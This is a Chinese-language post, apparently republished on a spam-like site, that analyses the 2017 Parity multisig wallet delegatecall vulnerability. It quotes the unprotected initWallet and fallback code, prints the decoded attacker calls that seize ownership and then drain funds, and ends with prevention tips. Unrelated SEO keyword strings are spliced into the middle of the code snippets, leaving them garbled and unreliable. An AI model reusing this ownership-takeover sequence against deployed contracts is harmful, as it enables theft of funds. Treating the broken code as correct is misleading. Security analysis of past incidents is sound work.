主页 > imtoken授权管理系统 > Parity 多重签名合约委托调用漏洞审查

Parity 多重签名合约委托调用漏洞审查

imtoken授权管理系统 2023-05-05 06:59:23

一、事件的始末

2017 年 7 月 19 日,Parity Multisig 电子钱包合约被泄露,攻击者从三个高安全性多重签名合约中窃取了超过 150,000 个以太币(约合 3000 万美元)。

2. 漏洞原理

delegatecall 的含义: .delegatecall(...) returns (bool):发出低级别的 DELEGATECALL,失败时返回 false,转发所有可用的 gas,可调。 call的功能与delegatecall类似,唯一不同的是后者只使用给定地址的代码,其他信息使用当前合约(如存储、余额等)。 请注意,delegatecall 是一个危险的函数,它可以完全操纵当前合约的状态。

黑客通过delegatecall调用initWallet函数。 initWallet 不检查以防止攻击者在合约初始化后调用 initMultiowned。 该漏洞允许黑客利用库函数让自己成为多个Parity钱包的新主人,然后调用转账函数将钱转走。 .

三、具体分析

1. initWallet函数可以改变合约的owner。

// line 216
// constructor - just pass on the owner array to the multiowned and  // the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) {

以太坊团队持有以太比例_以太经典和以太坊哪个好_以太坊漏洞

initDaylimit(_daylimit); initMultiowned(_owners, _required); }

复制

2.代码中使用了delegatecall()函数,让所有的public函数对所有人可见。 包括 initWallet 函数。 并且initWallet函数没有采取任何保护措施。

// line 424
function() payable {
  // just being sent some cash?

以太坊漏洞_以太坊团队持有以太比例_以太经典和以太坊哪个好

if (msg.value > 0) Deposit(msg.sender, msg.value); else if (msg.data.length > 0) _walletLibrary.delegatecall(msg.data); }

复制

3. 攻击者先获取owner权限以太坊漏洞,将调用函数的指令放在Data中。

行为地址:

以太坊团队持有以太比例_以太坊漏洞_以太经典和以太坊哪个好

Function: initWallet(address[] _owners, uint256 _required, uint256 _daylimit) ***
MethodID: 0xe46dcfeb
[0]:  0000000000000000000000000000000000000000000000000000000000000060
[1]:  0000000000000000000000000000000000000000000000000000000000000000
[2]:  00000000000000000000000000000000000000000000116779808c03e4140000
[3]:  0000000000000000000000000000000000000000000000000000000000000001
[4]:  000000000000000000000000b3764761e297d6f121e79c32a65829cd1ddb4d32

以太坊漏洞_以太坊团队持有以太比例_以太经典和以太坊哪个好

复制

4.然后执行execute得到所有资金

行为地址:

Function: execute(address _to, uint256 _value, bytes _data) ***
MethodID: 0xb61d27f6
[0]:  000000000000000000000000b3764761e297d6f121e79c32a65829cd1ddb4d32
[1]:  00000000000000000000000000000000000000000000116779808c03e4140000

以太经典和以太坊哪个好_以太坊漏洞_以太坊团队持有以太比例

[2]: 0000000000000000000000000000000000000000000000000000000000000060 [3]: 0000000000000000000000000000000000000000000000000000000000000000 [4]: 0000000000000000000000000000000000000000000000000000000000000000

复制

四、预防方法

谨慎使用 delegatecall() 函数。 阐明函数的可见性。 默认情况下以太坊漏洞,它是公共类型。 为了防止外部调用的函数在内部被调用,应该使用external。 加强权限控制。 敏感函数应该设置装饰器,比如onlyOwner。

5.信息

WalletLibrary合约地址:#code

奇偶钱包黑客解释:

六、团队介绍

BUGX.IO 是一家致力于区块链领域的安全公司。 核心团队成立于2014年,在区块链生态安全、行业解决方案、安全建设、红蓝对抗等方面有着深厚的积累和极强的专业性。